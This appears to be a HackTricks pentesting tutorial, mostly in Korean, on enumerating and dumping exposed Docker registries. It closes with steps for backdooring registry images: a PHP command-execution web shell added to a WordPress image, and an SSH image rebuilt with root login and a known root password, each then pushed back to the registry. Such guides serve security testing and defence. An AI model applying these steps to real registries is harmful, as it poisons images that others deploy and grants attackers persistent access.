5000 - Pentesting Docker Registry

Support HackTricks

기본 정보

Docker registry로 알려진 저장 및 배포 시스템은 이름이 지정된 Docker 이미지에 대해 존재하며, 여러 버전이 태그로 구분될 수 있습니다. 이러한 이미지는 레지스트리 내의 Docker repositories에 조직되어 있으며, 각 리포지토리는 특정 이미지의 다양한 버전을 저장합니다. 제공되는 기능을 통해 사용자는 필요한 권한이 있는 경우 이미지를 로컬로 다운로드하거나 레지스트리에 업로드할 수 있습니다.

DockerHub는 Docker의 기본 공개 레지스트리로 사용되지만, 사용자는 오픈 소스 Docker registry/distribution의 온프레미스 버전을 운영하거나 상업적으로 지원되는 Docker Trusted Registry를 선택할 수도 있습니다. 또한, 다양한 다른 공개 레지스트리를 온라인에서 찾을 수 있습니다.

온프레미스 레지스트리에서 이미지를 다운로드하려면 다음 명령을 사용합니다:

docker pull my-registry:9000/foo/bar:2.1

이 명령은 my-registry 도메인의 포트 9000에 있는 온프레미스 레지스트리에서 foo/bar 이미지 버전 2.1을 가져옵니다. 반대로, 2.1이 최신 버전인 경우 DockerHub에서 동일한 이미지를 다운로드하려면 명령이 다음과 같이 간단해집니다:

docker pull foo/bar

기본 포트: 5000

PORT    STATE SERVICE  VERSION
5000/tcp open  http    Docker Registry (API: 2.0)

Discovering

이 서비스를 발견하는 가장 쉬운 방법은 nmap의 출력에서 확인하는 것입니다. 어쨌든, HTTP 기반 서비스이므로 HTTP 프록시 뒤에 있을 수 있으며 nmap이 이를 감지하지 못할 수 있습니다. 일부 지문:

  • /에 접근하면 응답에 아무것도 반환되지 않습니다.

  • /v2/에 접근하면 {}가 반환됩니다.

  • /v2/_catalog에 접근하면 다음을 얻을 수 있습니다:

  • {"repositories":["alpine","ubuntu"]}

  • {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}

Enumeration

HTTP/HTTPS

Docker registry는 HTTP 또는 HTTPS를 사용하도록 구성될 수 있습니다. 따라서 가장 먼저 해야 할 일은 어떤 것이 구성되어 있는지 찾는 것입니다:

curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}

Authentication

Docker registry는 authentication을 요구하도록 구성될 수 있습니다:

curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}

Docker Registry가 인증을 요구하는 경우 이 방법을 사용하여 무차별 대입 공격을 시도할 수 있습니다. 유효한 자격 증명을 찾으면 이를 사용하여 레지스트리를 열거해야 하며, curl에서는 다음과 같이 사용할 수 있습니다:

curl -k -u username:password https://10.10.10.10:5000/v2/_catalog

Enumeration using DockerRegistryGrabber

DockerRegistryGrabber는 도커 레지스트리를 열거/덤프하는 파이썬 도구입니다 (기본 인증 없이 또는 기본 인증과 함께).

usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url

____   ____    ____
|  _ \ |  _ \  / ___|
| | | || |_) || |  _
| |_| ||  _ < | |_| |
|____/ |_| \_\ \____|
Docker Registry grabber tool v2
by @SyzikSecu

positional arguments:
url                URL

options:
-h, --help         show this help message and exit
-p port            port to use (default : 5000)

Authentication:
-U USERNAME        Username
-P PASSWORD        Password
-A header          Authorization bearer token

Actions:
--list
--dump_all
--dump DOCKERNAME  DockerName

Example commands:
python drg.py http://127.0.0.1 --list
python drg.py http://127.0.0.1 --dump my-ubuntu
python drg.py http://127.0.0.1 --dump_all
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all

python3 DockerGraber.py http://127.0.0.1  --list

[+] my-ubuntu
[+] my-ubuntu2

python3 DockerGraber.py http://127.0.0.1  --dump my-ubuntu

[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

python3 DockerGraber.py http://127.0.0.1  --dump_all

[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

Enumeration using curl

한 번 도커 레지스트리에 접근을 얻은 후 사용할 수 있는 몇 가지 명령어는 다음과 같습니다:

#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}

#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}

#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar

#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory

다운로드하고 블롭 파일을 압축 해제하면 현재 디렉토리에 파일과 폴더가 나타납니다. 모든 블롭을 다운로드하고 동일한 폴더에 압축 해제하면 이전에 압축 해제된 블롭의 값이 덮어씌워지므로 주의하십시오. 각 블롭의 정확한 내용을 검사하기 위해 각 블롭을 다른 폴더 안에 압축 해제하는 것이 흥미로울 수 있습니다.

Enumeration using docker

#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu

#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
#ed05bef01522        2 years ago         ./run.sh                                        46.8MB
#<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B
#<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B
#<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B
#<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB

#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container

WordPress 이미지에 백도어 추가하기

Docker Registry에서 WordPress 이미지를 발견한 경우, 백도어를 추가할 수 있습니다. 백도어생성합니다:

shell.php
<?php echo shell_exec($_GET["cmd"]); ?>

Dockerfile를 생성합니다:

Dockerfile
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php

새로운 이미지를 생성하고, 생성되었는지 확인한 후, 푸시합니다:

docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it

Backdooring SSH server image

Docker Registry에서 SSH 이미지를 발견하고 이를 백도어하고 싶다고 가정해 보겠습니다. 이미지를 다운로드하고 실행합니다:

docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli

sshd_config 파일을 SSH 이미지에서 추출합니다:

docker cp 4c989242c714:/etc/ssh/sshd_config .

And modify it to set: PermitRootLogin yes

Create a Dockerfile like the following one:

FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd

새로운 이미지를 생성하고, 생성되었는지 확인한 후, 푸시합니다:

docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it

References

Support HackTricks

Last updated